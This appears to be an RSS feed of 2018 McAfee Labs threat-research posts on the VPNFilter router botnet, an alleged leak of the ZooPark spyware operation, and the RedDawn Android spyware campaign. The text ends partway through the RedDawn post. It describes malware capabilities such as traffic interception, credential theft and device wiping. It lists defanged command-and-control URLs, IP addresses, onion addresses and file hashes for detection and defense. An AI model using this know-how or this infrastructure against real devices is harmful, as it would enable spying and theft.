VPNFilter Malware Adds Capabilities to Exploit Endpoints https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-malware-adds-capabilities-to-exploit-endpoints/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-malware-adds-capabilities-to-exploit-endpoints/#respond Wed, 06 Jun 2018 15:42:24 +0000 https://securingtomorrow.mcafee.com/?p=89414 VPNFilter, a botnet-controlled malware that infects networking devices, was first documented by researchers from Cisco Talos. McAfee Labs also published a blog on May 23 with some initial information. In our last post we discussed the three stages of infection and the devices affected by the malware, and how it can maintain a persistent presence […]

The post VPNFilter Malware Adds Capabilities to Exploit Endpoints appeared first on McAfee Blogs.

]]>
VPNFilter, a botnet-controlled malware that infects networking devices, was first documented by researchers from Cisco Talos. McAfee Labs also published a blog on May 23 with some initial information.

In our last post we discussed the three stages of infection and the devices affected by the malware, and how it can maintain a persistent presence on an infected device even after a reboot. The malware can also monitor traffic routed through the infected device. (Read the first post for more details.)

In this post we will report new information released by Cisco Talos. The findings reveal that that malware now targets additional devices, including products from Huawei, Asus, D-Link, Ubiquiti Networks, MikroTik, Upvel, ZTE Linksys, Netgear, and TP-Link.

In our previous post, we discussed two modules, a traffic sniffer and Tor, used in Stage 3 of the infection. Now researchers have analysed a third module in the third stage that intercepts network traffic by using a man-in-the-middle attack and injects malicious code while content passes through the router. Using this new module, an attacker can launch an exploit, and perform data exfiltration or a JavaScript injection onto the victim’s device.

The malware added another module that deletes its traces on the infected device. It then clears the flash memory and deletes operating system files, rendering the device inoperable.

The new Stage-3 module’s packet sniffer looks for basic authentication in the traffic content, and also monitors connections for industrial control systems traffic related to the Modbus protocol, which is typically used in SCADA systems. 

Coverage and Mitigation

The aforementioned IOCs are covered as follows:

  • Detection names for files: Linux/VPNFilter
  • V3 DAT with coverage version: 3367
  • V2 DAT with coverage version: 8916

All samples are classified in the GTI cloud as malware, as well as all relevant URLs.

Further Recommendations from the Talos Threat Research Team

  • Reboot SOHO routers and NAS devices to remove the potentially destructive, nonpersistent Stage 2 and Stage 3 malware
  • Work with the manufacturer to ensure that your device is up to date with the latest patches. Apply the updated patches immediately.
  • ISPs should aggressively work with their customers to ensure their devices are patched to the most recent firmware 

Updated Indicators of Compromise and Sample Hashes 

URLs and IP addresses

  • photobucket[.]com/user/millerfred/library
  • photobucket[.]com/user/jeniferaniston1/library
  • photobucket[.]com/user/lisabraun87/library
  • photobucket[.]com/user/eva_green1/library
  • photobucket[.]com/user/suwe8/library
  • photobucket[.]com/user/bob7301/library
  • toknowall[.]com
  • photobucket[.]com/user/amandaseyfried1/library
  • photobucket[.]com/user/nikkireed11/library
  • 4seiwn2ur4f65zo4[.]onion/bin256/update.php
  • zm3lznxn27wtzkwa[.]onion/bin16/update.php
  • photobucket[.]com/user/kmila302/library
  • photobucket[.]com/user/monicabelci4/library
  • photobucket[.]com/user/katyperry45/library
  • photobucket[.]com/user/saragray1/library
  • zuh3vcyskd4gipkm[.]onion/bin32/update.php
  • 6b57dcnonk2edf5a[.]onion/bin32/update.php
  • tljmmy4vmkqbdof4[.]onion/bin32/update.php
  • 46.151.209[.]33
  • 217.79.179[.]14
  • 91.214.203[.]144
  • 94.242.222[.]68
  • 82.118.242[.]124
  • 95.211.198[.]231
  • 195.154.180[.]60
  • 5.149.250[.]54
  • 94.185.80[.]82
  • 91.121.109[.]209
  • 217.12.202[.]40
  • 62.210.180[.]229
  • 91.200.13[.]76

File Hashes

  • 00C9BBC56388E3FFFC6E53EF846AD269E7E31D631FE6068FF4DC6C09FB40C48B
  • 0424167DA27214CF2BE0B04C8855B4CDB969F67998C6B8E719DD45B377E70353
  • 055BBE33C12A5CDAF50C089A29EAECBA2CCF312DFE5E96183B810EB6B95D6C5A
  • 0649FDA8888D701EB2F91E6E0A05A2E2BE714F564497C44A3813082EF8FF250B
  • 081E72D96B750A38EF45E74D0176BEB982905AF4DF6B8654EA81768BE2F84497
  • 0DC1E3F36DC4835DB978A3175A462AA96DE30DF3E5031C5D0D8308CDD60CBEDE
  • 11533EEDC1143A33C1DEAE105E1B2B2F295C8445E1879567115ADEBFDDA569E2
  • 1367060DB50187ECA00AD1EB0F4656D3734D1CCEA5D2D62F31F21D4F895E0A69
  • 14984EFDD5343C4D51DF7C79FD6A2DFD791AA611A751CC5039EB95BA65A18A54
  • 181408E6CE1A215577C1DAA195E0E7DEA1FE9B785F9908B4D8E923A2A831FCE8
  • 1CB3B3E652275656B3AE824DA5FB330CCCD8B27892FB29ADC96E5F6132B98517
  • 1E741EC9452AAB85A2F7D8682EF4E553CD74892E629012D903B521B21E3A15BF
  • 218233CC5EF659DF4F5FDABE028AB43BC66451B49A6BFA85A5ED436CFB8DBC32
  • 24B3931E7D0F65F60BBB49E639B2A4C77DE83648FF08E097FF0FA6A53F5C7102
  • 29AE3431908C99B0FFF70300127F1DB635AF119EE55CD8854F6D3270B2E3032E
  • 2AA7BC9961B0478C552DAA91976227CFA60C3D4BD8F051E3CA7415CEAEB604CA
  • 2AF043730B632D237964DD6ABD24A7F6DB9DC83AAB583532A1238B4D4188396B
  • 2B39634DCE9E7BB36E338764EF56FD37BE6CD0FAA07EE3673C6E842115E3CEB1
  • 2C2412E43F3FD24D766832F0944368D4632C6AA9F5A9610AB39D23E79756E240
  • 2EF0E5C66F6D46DDEF62015EA786B2E2F5A96D94AB9350DD1073D746B6922859
  • 2FFBE27983BC5C6178B2D447D8121CEFAA5FFA87FE7B9E4F68272CE54787492F
  • 313D29F490619E796057D50BA8F1D4B0B73D4D4C6391CF35BAAAACE71EA9AC37
  • 33D6414DCF91B9A665D38FAF4AE1F63B7AA4589FE04BDD75999A5E429A53364A
  • 350EAA2310E81220C409F95E6E1E53BEADEC3CFFA3F119F60D0DAACE35D95437
  • 36E3D47F33269BEF3E6DD4D497E93ECE85DE77258768E2FA611137FA0DE9A043
  • 375EDEDC5C20AF22BDC381115D6A8CE2F80DB88A5A92EBAA43C723A3D27FB0D6
  • 39DC1ADED01DAAF01890DB56880F665D6CAFAB3DEA0AC523A48AA6D6E6346FFF
  • 3BBDF7019ED35412CE4B10B7621FAF42ACF604F91E5EE8A903EB58BDE15688FF
  • 3BD34426641B149C40263E94DCA5610A9ECFCBCE69BFDD145DFF1B5008402314
  • 3DF17F01C4850B96B00E90C880FDFABBD11C64A8707D24488485DD12FAE8EC85
  • 4497AF1407D33FAA7B41DE0C4D0741DF439D2E44DF1437D8E583737A07EC04A1
  • 47F521BD6BE19F823BFD3A72D851D6F3440A6C4CC3D940190BDC9B6DD53A83D6
  • 4896F0E4BC104F49901C07BC84791C04AD1003D5D265AB7D99FD5F40EC0B327F
  • 48BFCBC3162A0B00412CBA5EFF6C0376E1AE4CFBD6E35C9EA92D2AB961C90342
  • 49A0E5951DBB1685AAA1A6D2ACF362CBF735A786334CA131F6F78A4E4C018ED9
  • 4AF2F66D7704DE6FF017253825801C95F76C28F51F49EE70746896DF307CBC29
  • 4BEBA775F0E0B757FF32EE86782BF42E997B11B90D5A30E5D65B45662363ECE2
  • 4BFC43761E2DDB65FEDAB520C6A17CC47C0A06EDA33D11664F892FCF08995875
  • 4C596877FA7BB7CA49FB78036B85F92B581D8F41C5BC1FA38476DA9647987416
  • 4D6CBDE39A81F2C62D112118945B5EEB1D73479386C962ED3B03D775E0DCCFA0
  • 4E022E4E4EE28AE475921C49763EE620B53BF11C2AD5FFFE018AD09C3CB078CC
  • 4FA1854FBEC31F87AE306034FD01567841159CA7793EBA58B90BE5F7FC714D62
  • 4FFE074AD2365DFB13C1C9CE14A5E635B19ACB34A636BAE16FAF9449FB4A0687
  • 51E92BA8DAC0F93FC755CB98979D066234260EAFC7654088C5BE320F431A34FA
  • 579B2E6290C1F7340795E42D57BA300F96AEF035886E80F80CD5D0BB4626B5FC
  • 5BE57B589E5601683218BB89787463CA47CE3B283D8751820D30EEE5E231678C
  • 5CF43C433FA1E253E937224254A63DC7E5AD6C4B3AB7A66EC9DB76A268B4DEEB
  • 5D94D2B5F856E5A1FC3A3315D3CD03940384103481584B80E9D95E29431F5F7A
  • 5DABBCE674B797AAA42052B501FB42B20BE74D9FFCB0995D933FBF786C438178
  • 5E715754E9DA9ED972050513B4566FB922CD87958ECF472D1D14CD76923AE59A
  • 5F6EE521311E166243D3E65D0253D12D1506750C80CD21F6A195BE519B5D697F
  • 638957E2DEF5A8FDA7E3EFEFFF286E1A81280D520D5F8F23E037C5D74C62553C
  • 6449AAF6A8153A9CCBCEF2E2738F1E81C0D06227F5CF4823A6D113568F305D2A
  • 6807497869D9B4101C335B1688782AB545B0F4526C1E7DD5782C9DEB52EE3DF4
  • 6A76E3E98775B1D86B037B5EE291CCFCFFB5A98F66319175F4B54B6C36D2F2BF
  • 6D8877B17795BB0C69352DA59CE8A6BFD7257DA30BD0370EED8428FAD54F3128
  • 6E7BBF25EA4E83229F6FA6B2FA0F880DDE1594A7BEC2AAC02FF7D2D19945D036
  • 7093CC81F32C8CE5E138A4AF08DE6515380F4F23ED470B89E6613BEE361159E1
  • 70C271F37DC8C3AF22FDCAD96D326FE3C71B911A82DA31A992C05DA1042AC06D
  • 776CB9A7A9F5AFBAFFDD4DBD052C6420030B2C7C3058C1455E0A79DF0E6F7A1D
  • 78FEE8982625D125F17CF802D9B597605D02E5EA431E903F7537964883CF5714
  • 797E31C6C34448FBECDA10385E9CCFA7239BB823AC8E33A4A7FD1671A89FE0F6
  • 7A66D65FA69B857BEEEAAEF67EC835900EEE09A350B6F51F51C83919C9223793
  • 7E5DCA90985A9FAC8F115EAACD8E198D1B06367E929597A3DECD452AAA99864B
  • 7EE215469A7886486A62FEA8FA62D3907F59CF9BF5486A5FE3A0DA96DABEA3F9
  • 7F6F7C04826C204E2FC5C1EDDB8332AFE1669A4856229921C227694899E7ADA8
  • 80C20DB74C54554D9936A627939C3C7EA44316E7670E2F7F5231C0DB23BC2114
  • 81CBE57CD80B752386EE707B86F075AD9AB4B3A97F951D118835F0F96B3AE79D
  • 82CD8467E480BCD2E2FC1EFB5257BBE147386F4A7651D1DA2BFD0AB05E3D86B9
  • 840BA484395E15782F436A7B2E1EEC2D4BF5847DFD5D4787AE64F3A5F668ED4F
  • 8505ECE4360FAF3F454E5B47239F28C48D61C719B521E4E728BC12D951ECF315
  • 879BE2FA5A50B7239B398D1809E2758C727E584784BA456D8B113FC98B6315A2
  • 8A20DC9538D639623878A3D3D18D88DA8B635EA52E5E2D0C2CCE4A8C5A703DB1
  • 8DE0F244D507B25370394BA158BD4C03A7F24C6627E42D9418FB992A06EB29D8
  • 8F3E1E3F0890AD40D7FA66939561E20C0E5FD2A02B1DEA54F3899AFF9C015439
  • 90EFCAEAC13EF87620BCAAF2260A12895675C74D0820000B3CD152057125D802
  • 94EEFB8CF1388E431DE95CAB6402CAA788846B523D493CF8C3A1AA025D6B4809
  • 952F46C5618BF53305D22E0EAE4BE1BE79329A78AD7EC34232F2708209B2517C
  • 95840BD9A508CE6889D29B61084EC00649C9A19D44A29AEDC86E2C34F30C8BAF
  • 98112BD4710E6FFE389A2BEB13FF1162017F62A1255C492F29238626E99509F3
  • 99944AD90C7B35FB6721E2E249B76B3E8412E7F35F6F95D7FD3A5969EAA99F3D
  • 9B039787372C6043CCE552675E3964BF01DE784D1332DDC33E4419609A6889F1
  • 9B455619B4CBFEB6496C1246BA9CE0E4FFA6736FD536A0F99686C7E185EB2E22
  • A15B871FCB31C032B0E0661A2D3DD39664FA2D7982FF0DBC0796F3E9893AED9A
  • A168D561665221F992F51829E0B282EEB213B8ACA3A9735DBBAECC4D699F66B9
  • A3CF96B65F624C755B46A68E8F50532571CEE74B3C6F7E34EECB514A1EB400CF
  • A41DA0945CA5B5F56D5A868D64763B3A085B7017E3568E6D49834F11952CB927
  • A6E3831B07AB88F45DF9FFAC0C34C4452C76541C2ACD215DE8D0109A32968ACE
  • AB789A5A10B4C4CD7A0EB92BBFCF2CC50CB53066838A02CFB56A76417DE379C5
  • ACF32F21EC3955D6116973B3F1A85F19F237880A80CDF584E29F08BD12666999
  • AE1353E8EFE25B277F52DECFAB2D656541FFDF7FD10466D3A734658F1BC1187A
  • AE74F62881EB224E58F3305BB1DA4F5CB7CCFF53C24AB05DB622807D74E934FB
  • AFACB38EA3A3CAFE0F8DBD26DEE7DE3D0B24CDECAE280A9B884FBAD5ED195DE7
  • B0EDF66D4F07E5F58B082F5B8479D48FBAB3DBE70EBA0D7E8254C8D3A5E852EF
  • B431AEBC2783E72BE84AF351E9536E8110000C53EBB5DB25E89021DC1A83625E
  • B9770EC366271DACDAE8F5088218F65A6C0DD82553DD93F41EDE586353986124
  • BA9FEE47DCC7BAD8A7473405AABF587E5C8D396D5DD5F6F8F90F0FF48CC6A9CE
  • BAD8A5269E38A2335BE0A03857E65FF91620A4D1E5211205D2503EF70017B69C
  • BC51836048158373E2B2F3CDB98DC3028290E8180A4E460129FEF0D96133EA2E
  • BE3DDD71A54EC947BA873E3E10F140F807E1AE362FD087D402EFF67F6F955467
  • BFD028F78B546EDA12C0D5D13F70AB27DFF32B04DF3291FD46814F486BA13693
  • C084C20C94DBBFFED76D911629796744EFF9F96D24529B0AF1E78CDA54CDBF02
  • C0CFB87A8FAED76A41F39A4B0A35AC6847FFC6AE2235AF998EE1B575E055FAC2
  • C2BCDE93227EB1C150E555E4590156FE59929D3B8534A0E2C5F3B21EDE02AFA0
  • C8A82876BEED822226192EA3FE01E3BD1BB0838AB13B24C3A6926BCE6D84411B
  • CA0BB6A819506801FA4805D07EE2EBAA5C29E6F5973148FE25ED6D75089C06A7
  • CCCBF9BFF47B3FD391274D322076847A3254C95F95266EF06A3CA8BE75549A4B
  • CD8CF5E6A40C4E87F6EE40B9732B661A228D87D468A458F6DE231DD5E8DE3429
  • D09F88BAF33B901CC8A054D86879B81A81C19BE45F8E05484376C213F0EEDDA2
  • D1BC07B962CCC6E3596AA238BB7EDA13003EA3CA95BE27E8244E485165642548
  • D1E6EC5761F78899332B170C4CA7158DCCD3463DAB2E58E51E5B6C0D58C7D84F
  • D2DE662480783072B82DD4D52AB6C57911A1E84806C229F614B26306D5981D98
  • D9A60A47E142DDD61F6C3324F302B35FEECA684A71C09657DDB4901A715BD4C5
  • DBEDE977518143BCEE6044ED86B8178C6FC9D454FA346C089523EEDEE637F3BE
  • DD88273437031498B485C380968F282D09C9BD2373EF569952BC7496EBADADDE
  • E6C5437E8A23D50D44EE47AD6E7CE67081E7926A034D2AC4C848F98102DDB2F8
  • E70A8E8B0CD3C59CCA8A886CAA8B60EFB652058F50CC9FF73A90BC55C0DC0866
  • E74AE353B68A1D0F64B9C8306B2DB46DFC760C1D91BFDF05483042D422BFF572
  • E7AEE375215E33FC5AEBD7811F58A09C37D23E660F3250D3C95AEC48AD01271C
  • E7F65AEEC592B047AC1726EF0D8245229041474A2A71B7386E72AD5DB075F582
  • EAF879370387A99E6339377A6149E289655236ACC8DE88324462DCD0F22383FF
  • EC88FE46732D9AA6BA53EED99E4D116B7444AFD2A52DB988EA82F883F6D30268
  • EEB3981771E448B7B9536BA5D7CD70330402328A884443A899696A661E4E64E5
  • EEC5CD045F26A7B5D158E8289838B82E4AF7CF4FC4B9048EAF185B5186F760DB
  • F30A0FE494A871BD7D117D41025E8D2E17CD545131E6F27D59B5E65E7AB50D92
  • F3D0759DFAB3FBF8B6511A4D8B5FC087273A63CBB96517F0583C2CCE3FF788B8
  • F4F0117D2784A3B8DFEF4B5CB7F2583DD4100C32F9EE020F16402508E073F0A1
  • F5D06C52FE4DDCA0EBC35FDDBBC1F3A406BDAA5527CA831153B74F51C9F9D1B0
  • F989DF3AEEDE247A29A1F85FC478155B9613D4A416428188EDA1A21BD481713A
  • FA229CD78C343A7811CF8314FEBBC355BB9BAAB05B270E58A3E5D47B68A7FC7D
  • FA4B286EEAF7D74FE8F3FB36D80746E18D2A7F4C034AE6C3FA4C917646A9E147
  • FC9594611445DE4A0BA30DAF60A7E4DEC442B2E5D25685E92A875ACA2C0112C9
  • FCB6FF6A679CA17D9B36A543B08C42C6D06014D11002C09BA7C38B405B50DEBE
  • FE46A19803108381D2E8B5653CC5DCE1581A234F91C555BBFFF63B289B81A3DC
  • FF118EDB9312C85B0B7FF4AF1FC48EB1D8C7C8DA3C0E1205C398D2FE4A795F4B
  • FF471A98342BAFBAB0D341E0DB0B3B9569F806D0988A5DE0D8560B6729875B3E
  • FF70462CB3FC6DDD061FBD775BBC824569F1C09425877174D43F08BE360B2B58
  • FFB0E244E0DABBAABF7FEDD878923B9B30B487B3E60F4A2CF7C0D7509B6963BA

The post VPNFilter Malware Adds Capabilities to Exploit Endpoints appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-malware-adds-capabilities-to-exploit-endpoints/feed/ 0
VPNFilter Botnet Targets Networking Devices https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-botnet-targets-networking-devices/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-botnet-targets-networking-devices/#respond Wed, 23 May 2018 21:28:28 +0000 https://securingtomorrow.mcafee.com/?p=89060 VPNFilter is a botnet with capabilities to support both intelligence collection and destructive cyberattack operations. The Cisco Talos team recently notified members of the Cyber Threat Alliance (CTA) of its findings and published this blog.

The post VPNFilter Botnet Targets Networking Devices appeared first on McAfee Blogs.

]]>
VPNFilter is a botnet with capabilities to support both intelligence collection and destructive cyberattack operations. The Cisco Talos team recently notified members of the Cyber Threat Alliance (CTA) of its findings and published this blog.

The malware is believed to target networking devices, although the malware’s initial infection vector is still unclear. Talos, which first reported this attack, claims that it has impacted at least 500,000 networking devices during the last few years. The malware can persist on infected devices and can steal website credentials and monitor Modbus SCADA protocols. It also implements file collection, command execution, data extraction, and device management and, even worse, it can render some or all of the infected devices unusable.

The known devices affected by VPNFilter are some network-attached storage (NAS) devices such as Linksys, MikroTik, Netgear, and TP-Link networking equipment in the small and home office (SOHO) space, as well at QNAP.

Malware infection stages

VPNFilter has a three-stage infection.

Stage 1 completes the persistence on the system and uses multiple control mechanisms to find and connect the Stage 2 deployment server.

Stage 2 focuses on file collection, command execution, data extraction, and device management. Some versions possess a self-destruct capability to render itself unusable.

Stage 3 includes two known modules:

  • A traffic sniffer to steal website credentials and monitor Modbus SCADA protocols
  • Tor to communicate with anonymous addresses 

Indicators of compromise and sample hashes

URLs and IPs

photobucket[.]com/user/nikkireed11/library
photobucket[.]com/user/kmila302/library
photobucket[.]com/user/lisabraun87/library
photobucket[.]com/user/eva_green1/library
photobucket[.]com/user/monicabelci4/library
photobucket[.]com/user/katyperry45/library
photobucket[.]com/user/saragray1/library
photobucket[.]com/user/millerfred/library
photobucket[.]com/user/jeniferaniston1/library
photobucket[.]com/user/amandaseyfried1/library
photobucket[.]com/user/suwe8/library
photobucket[.]com/user/bob7301/library
toknowall[.]com

91.121.109[.]209
217.12.202[.]40
94.242.222[.]68
82.118.242[.]124
46.151.209[.]33
217.79.179[.]14
95.211.198[.]231
195.154.180[.]60
5.149.250[.]54
91.200.13[.]76
94.185.80[.]82
62.210.180[.]229
91.200.13[.]76
91.214.203[.]144
6b57dcnonk2edf5a[.]onion/bin32/update.php
tljmmy4vmkqbdof4[.]onion/bin32/update.php
zuh3vcyskd4gipkm[.]onion/bin32/update.php
6b57dcnonk2edf5a[.]onion/bin32/update.php

File hashes

  • First-Stage Malware
    • 50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec
    • 0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92
  • Second-Stage Malware
    • 9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17
    • d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e
    • 4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b
    • 9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387
    • 37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4
    • 776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d
    • 8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1
    • 0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b
  • Third-Stage Malware
    • f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344
    • afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719

Coverage and mitigation

The aforementioned IOCs are covered as follows:

  • Detection names for files: Linux/VPNFilter and Linux/VPNFilter.a
    • V3 DAT with coverage version: 3353
    • V2 DAT with coverage version: 8902
  • All samples are GTI classified as malware
  • All relevant URLs are GTI classified

Further recommendations from the Talos threat research team:

  • Reboot SOHO routers and NAS devices to remove the potentially destructive, nonpersistent Stage 2 and Stage 3 malware
  • Work with the manufacturer to ensure that your device is up to date with the latest patches. Apply the updated patches immediately.

ISPs should work aggressively with their customers to ensure their devices are patched to the most recent firmware/

The post VPNFilter Botnet Targets Networking Devices appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-botnet-targets-networking-devices/feed/ 0
It’s a Zoo Out There! Data Analysis of Alleged ZooPark Dump https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/its-a-zoo-out-there-data-analysis-of-alleged-zoopark-dump/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/its-a-zoo-out-there-data-analysis-of-alleged-zoopark-dump/#respond Mon, 21 May 2018 22:00:20 +0000 https://securingtomorrow.mcafee.com/?p=88977 In early May, researchers disclosed a Mobile malware campaign by a group focused on Middle Eastern targets. This actor was found to be an evolving and sophisticated group using fake Android apps, namely Telegram, to trick users into installing malicious software. They have been active since 2015 and evolved over several campaigns into 2018. On […]

The post It’s a Zoo Out There! Data Analysis of Alleged ZooPark Dump appeared first on McAfee Blogs.

]]>
In early May, researchers disclosed a Mobile malware campaign by a group focused on Middle Eastern targets. This actor was found to be an evolving and sophisticated group using fake Android apps, namely Telegram, to trick users into installing malicious software. They have been active since 2015 and evolved over several campaigns into 2018. On May 14, a Reddit post linked to LamePT, claiming to have leaked their infrastructure including a database containing victim information.

Figure 1 – Screenshot of the site hosting the leaked data

The current leaked assets include:

  • MYSQL database
  • Audio recordings
  • The old C2 server and assets
  • AppData folder (presumably of the C2 server)
  • Current C2 server and control panel

Further leaked documents are behind a paywall payable to a fresh bitcoin address. The first payment was made on May 13th, 2018 leaving a balance of $1,110.87. It’s difficult to verify if someone paid to have the first dataset released or the actor paid themselves to appear more authentic. With that said, the authenticity of the data is still in question as we have some significant doubts on at least a portion of the data. For example, the following SMS caught our attention:

“Wife.how she knew the time of murder exactly”.

This text can be found in an SMS spam dataset used for training spam engines. Many other English based SMS messages can also be found here. “will be office around 4 pm. Now I am going hospital” is another example. Universities tend to use these datasets to teach computer science concepts. In this case, the concept is likely related to machine learning techniques for categorizing messages into spam. One university came up often when searching for these messages based on its Computer Science I: Fundamentals homework postings. Other messages could be found in cached websites.

“Credit shuma ka mast jahat ezdiad credit ba hesab tan shumarai 222 ra dair namoda w aba taqeeb aan code 14 raqami ra dakhel nomaed .”

This translates to “Credit card is not available for sale at 222 days or less than 142 days.” and found cached in a language translation site. This particular phrase was being translated from Turkish to Urdu. Not all of the messages were found publicly online. Most of the messages were in Middle Eastern languages presenting its own challenges. Other sources were found such as Facebook posts; however, sources for the vast majority of the SMS message have not yet been located. For these reasons, we remain skeptical of the authenticity of the data.

Figure 2 – Facebook post with the same text as an SMS message

Other data such as the recordings do not appear to be publicly available. After sampling 100 of these files we’ve found them to sound like authentic recordings. The majority are in 7 minute 59 second .3gpp files. Most appear to be ambient conversations and daily activities and not phone calls as was expected. Searching for public audio is difficult but we can verify that the hashes of the 100 are not publicly indexed by major search engines nor are the file names themselves.

Until we know for certain whether the data is authentic we cannot grantee that this data dump represents ZooPark and its capabilities but we can look at what they could be up to. After reviewing the leaked MySQL database we’ve learned much about the ZooPark’s potential operations.

Tables Included:

  • Appinfotracking
  • Audiotracking
  • Calltracking
  • Emailtracking
  • geolog
  • gpslocation
  • phonebookaccess
  • phototracking
  • recordcall
  • registration
  • sales_user_info
  • settings
  • smstracking
  • urltracking

From the table names alone, we can infer a lot of the access ZooPark had to user devices and the data they were after. Call tracing, phonebook access, and SMS tracking are unfortunately very common to collect amongst malicious app developers. However, audio tracking caught our attention. While we are still analyzing the dataset, the database records indicate over 102,571 recordings have been uploaded to their C2 server between 2015 and 2018. The dump contains approximately 3,887 of these, jeopardizing private and potentially highly sensitive conversations. Our sampling of these files indicate that the audio was recorded in roughly 8-minute blocks. Most, but not all audio files took place with time gaps between them. There was at least one group conversation that continued on for at least 3 recorded blocks. A surprisingly low number of phone numbers generated these recordings. Only eight phone numbers are part of the recording available through this data dump.

Other conversations were also captured such as SMS texts although portions of these have been found publicly in open datasets. Conceivably, these could have been generated by researchers investigating the malicious Android apps but it’s more likely they were generated by the data leaker to sell the dump. The SMS texts contain much of what you expect such as general chat, and advertisements. However, it’s also riddled with embarrassing or explicit texts which could be used against the users should they prove legitimate. Additionally, we’ve found cleartext two-factor authentication messages from major services such as Google and LinkedIn, and popular chat apps such as Telegram. ZooPark could have used these to gain access to additional services unbeknownst to the victims. After attempting and failing to rebuild several English based conversations we have little confidence that the entire data set came from ZooPark. However, It does exemplify the real danger of sensitive conversations being collected by Zoopark and available for their operations.

Another surprising find is in the Appinfotracking table, where there are 1541 unique apps listed, indicating a very large campaign. Here are a few notable ones:

  • Youtube
  • Wikipedia
  • WhatsApp
  • WinZip
  • Weather
  • VLC
  • Twitter
  • Telegram
  • TrueCaller
  • Tango
  • Pinterest
  • ICQ
  • Flashlight
  • Facebook
  • DUO
  • Dropbox
  • Crunchyroll

There were relatively few games listed compared to other social and utility apps, perhaps suggesting a more utilitarian or professional target. Approximately, 92 phone numbers are listed in relation to the apps. Of the GPS coordinates we’ve checked the middle east is still the main focus, with a significant footprint in Egypt.

While the data leakers request is for Bitcoin payment, we believe they are primarily interested in acquiring Monero coin. Once payments are made the actors use a popular tool called ShapeShift to turn the Bitcoin into Monero (XMR). Shapeshift allows the actors to pay in from one cryptocoin and receive a payout in another without creating an account for the service. The added Monero features enable them to maintain greater anonymity during the transfer. It is anonymity that usually motivates cybercriminals to move to Monero.  Monero coins are of interest due to their improved anonymity and privacy-related improvements, making it difficult to for law enforcement and security researchers to trace.

Shapeshift Transaction from BitCoin (BTC) to Monero (XMR)

The actor who leaked this data is obviously motivated by money as evidenced by the requested payment for further data leaks. Fake datasets, especially those that contain credit card information, email addresses and passwords, have been known to be for sale to scam other cybercriminals. It’s a distinct possibility that this could be the case with the current data dump but it has yet to be determined. However, competition also can play a primary motivator. Many times competing bad actors will attempt to sabotage others in the space. Altruism can play a role as well. Some vigilante actors may believe that their motivations are for the greater good regardless of the laws they break and collateral damage. Whatever the motivations are, data leaks like these can be embarrassing, damaging and in some cases dangerous for the victims whose information it may contain.
Other points of interest:

  • There are a surprisingly low number of unique victim numbers in the database with only 169.
  • The latest URL record is as recent as May 12,2018
  • The latest SMS record is as recent as May 8,2018
  • 81 unique numbers had 47,784 records of GPS data stored

Bitcoin Address:

  • 1AUMs2ieZ7qN4d3M1oUPCuP3CH9WGQxpbd

The post It’s a Zoo Out There! Data Analysis of Alleged ZooPark Dump appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/its-a-zoo-out-there-data-analysis-of-alleged-zoopark-dump/feed/ 0
Malware on Google Play Targets North Korean Defectors https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/#respond Thu, 17 May 2018 13:31:50 +0000 https://securingtomorrow.mcafee.com/?p=88857 Earlier this year, McAfee researchers predicted in the McAfee Mobile Threat Report that we expect the number of targeted attacks on mobile devices to increase due to their ubiquitous growth combined with the sophisticated tactics used by malware authors.

The post Malware on Google Play Targets North Korean Defectors appeared first on McAfee Blogs.

]]>
Earlier this year, McAfee researchers predicted in the McAfee Mobile Threat Report that we expect the number of targeted attacks on mobile devices to increase due to their ubiquitous growth combined with the sophisticated tactics used by malware authors. Last year we posted the first public blog about the Lazarus group operating in the mobile landscape. Our recent discovery of the campaign we have named RedDawn on Google Play just a few weeks after the release of our report proves that targeted attacks on mobile devices are here to stay.

RedDawn is the second campaign we have seen this year from the “Sun Team” hacking group. In January, the McAfee Mobile Research Team wrote about Android malware targeting North Korean defectors and journalists. McAfee researchers recently found new malware developed by the same actors that was uploaded on Google Play as “unreleased” versions. We notified both Google, which has removed the malware from Google Play, and the Korea Internet & Security Agency.

Our findings indicate that the Sun Team is still actively trying to implant spyware on Korean victims’ devices. (The number of North Korean defectors who came to South Korea exceeded 30,000 in 2016, according to Radio Free Asia.) Once the malware is installed, it copies sensitive information including personal photos, contacts, and SMS messages and sends them to the threat actors. We have seen no public reports of infections. We identified these malwares at an early stage; the number of infections is quite low compared with previous campaigns, about 100 infections from Google Play.

Malware on Google Play

Malware uploaded on Google Play (now deleted).

We found three apps uploaded by the actor we named Sun Team, based on email accounts and Android devices used in the previous attack. The first app in this attack, 음식궁합 (Food Ingredients Info), offers information about food; the other two apps, Fast AppLock and AppLockFree, are security related. 음식궁합 and Fast AppLock secretly steal device information and receive commands and additional executable (.dex) files from a cloud control server. We believe that these apps are multi-staged, with several components. AppLockFree is part of the reconnaissance stage we believe, setting the foundation for the next stage unlike the other two apps. The malwares were spread to friends, asking them to install the apps and offer feedback via a Facebook account with a fake profile promoted 음식궁합.

